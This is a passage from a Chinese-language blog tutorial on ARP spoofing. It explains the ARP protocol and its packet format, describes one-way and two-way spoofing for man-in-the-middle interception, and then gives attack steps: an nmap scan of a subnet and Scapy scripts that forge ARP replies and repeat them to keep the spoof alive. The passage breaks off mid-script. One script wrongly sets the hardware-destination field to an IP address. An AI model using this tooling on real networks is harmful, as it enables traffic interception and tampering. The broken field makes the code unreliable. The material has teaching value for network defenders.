ARP欺骗技术：DNS欺骗与HTTP重定向_（2）.ARP欺骗原理与机制

ARP欺骗原理、实现与防御全解析

最新推荐文章于 2024-11-14 22:45:28 发布

原创

最新推荐文章于 2024-11-14 22:45:28 发布 · 1.6k 阅读

25 ·

CC 4.0 BY-SA版权

文章标签：

#http #网络 #php #ARP欺骗技术 #网络协议 #开发语言

ARP欺骗原理与机制

1. ARP协议简介

ARP（Address Resolution Protocol）协议是用于将IP地址解析为物理地址（通常是MAC地址）的协议。在网络中，计算机之间进行通信时，需要知道对方的MAC地址来构建数据帧。ARP协议通过广播请求和单播响应的方式，实现了从IP地址到MAC地址的动态映射。ARP协议在RFC 826中定义，主要用于IPv4网络。

在这里插入图片描述

1.1 ARP协议的工作流程

ARP请求：当一台主机需要发送数据给另一台主机时，如果目标主机的MAC地址不在其ARP缓存中，它会发送一个ARP请求广播。这个广播包中包含目标主机的IP地址，请求所有主机响应目标主机的MAC地址。
ARP响应：收到ARP请求的主机如果发现自己拥有请求中的IP地址，会发送一个ARP响应单播包。这个响应包中包含自己的MAC地址，发送给请求主机。
ARP缓存更新：请求主机收到ARP响应后，会将目标主机的IP地址和MAC地址的映射关系更新到自己的ARP缓存中，以便后续通信时直接使用。

1.2 ARP协议的数据包格式

ARP协议的数据包格式如下：

| 字段 | 长度（字节） | 描述 |

|----------------|--------------|--------------------------------|

| 硬件类型 | 2 | 指定硬件地址类型，1表示以太网 |

| 协议类型 | 2 | 指定协议地址类型，0x0800表示IPv4 |

| 硬件地址长度 | 1 | 硬件地址的长度，6表示以太网MAC地址 |

| 协议地址长度 | 1 | 协议地址的长度，4表示IPv4地址 |

| 操作码 | 2 | 指定操作类型，1表示请求，2表示响应 |

| 发送方硬件地址 | 6 | 发送方的MAC地址 |

| 发送方协议地址 | 4 | 发送方的IP地址 |

| 目标硬件地址 | 6 | 目标方的MAC地址 |

| 目标协议地址 | 4 | 目标方的IP地址 |

1.3 ARP缓存

ARP缓存是存储IP地址和MAC地址映射关系的临时存储区域。每个主机都有自己的ARP缓存，用于快速查找目标主机的MAC地址。ARP缓存中的条目通常有生存时间（TTL），以防止缓存条目长时间不更新导致错误通信。

2. ARP欺骗的基本原理

ARP欺骗是一种网络攻击技术，攻击者通过伪造ARP响应包，使受害主机将攻击者的MAC地址与目标主机的IP地址绑定，从而截获或篡改受害主机与目标主机之间的通信。ARP欺骗可以分为两种主要类型：单向欺骗和双向欺骗。

2.1 单向欺骗

单向欺骗是指攻击者将自己伪装成目标主机，使受害主机将所有发往目标主机的数据包都发送给攻击者。攻击者可以选择转发这些数据包，或者直接丢弃，从而实现数据截获或拒绝服务攻击。

2.2 双向欺骗

双向欺骗是指攻击者同时将自己伪装成受害主机和目标主机，使两者的通信都经过攻击者。这种情况下，攻击者可以完全控制两者的通信，实现中间人攻击（Man-in-the-Middle, MITM）。

3. ARP欺骗的实现步骤

3.1 确定目标主机

首先，攻击者需要确定目标主机的IP地址和MAC地址。这可以通过网络扫描工具（如Nmap）来实现。


# 使用Nmap扫描网络中的主机

nmap -sn 192.168.1.0/24

3.2 伪造ARP响应包

攻击者使用工具（如Scapy）来伪造ARP响应包。伪造的ARP响应包中，攻击者的MAC地址被绑定到目标主机的IP地址上。


from scapy.all import *



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包

arp_response = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 发送伪造的ARP响应包

send(arp_response)

3.3 更新ARP缓存

受害主机收到伪造的ARP响应包后，会更新其ARP缓存，将目标主机的IP地址绑定到攻击者的MAC地址上。这样，所有发往目标主机的数据包都会被发送到攻击者。

3.4 维持欺骗

为了维持欺骗，攻击者需要定期发送伪造的ARP响应包，以防止受害主机的ARP缓存条目过期。


from scapy.all import *

import time



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包

arp_response = ARP(op=2, psrc=target_ip